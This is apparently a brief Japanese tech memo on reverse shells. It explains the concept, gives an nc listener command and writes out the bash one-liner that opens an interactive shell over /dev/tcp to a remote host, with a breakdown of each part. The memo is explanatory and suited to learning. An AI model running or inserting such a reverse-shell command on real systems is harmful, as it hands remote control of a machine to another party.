Reverse Shellのメモ
目次
Reverse Shellのメモ
はじめに
Reverse Shellとは、サーバからクライアントに対して接続することで、クライアントからサーバを操作するものです。
サーバではインバウンドの通信制御はしていても、アウトバウンドの通信制御がされていないことがあります。
このような状況でも外部との接続ができるため、攻撃にも利用されることがあるそうです。
クライアント側
クライアントは、サーバからの接続を待ちます。
今回は、ncコマンドを利用してリッスンしています。
$ nc -v -n -l -p 10000
Listening on 0.0.0.0 10000
サーバ側
サーバは、クライアントに接続しにいきます。
その際、クライアントからシェルを操作できるようにbashの機能を利用して接続します。
bashによる接続以外にも様々なプログラミング言語を利用して接続することが可能です。
$ bash -i >& /dev/tcp/10.0.0.1/10000 0>&1
# 待ち状態になります。
今回利用しているコマンドについての説明を記載します。
bash -i
は対話型のシェルを実施するコマンドです。>&
は標準入出力を後続の/dev/tcp/10.0.0.1/10000
にリダイレクトします。/dev/tcp/10.0.0.1/10000
はTCP接続先です。0>&1
は標準入力を上記のTCPソケットにリダイレクトします。
メモ
https://www.acunetix.com/blog/web-security-zone/what-is-reverse-shell/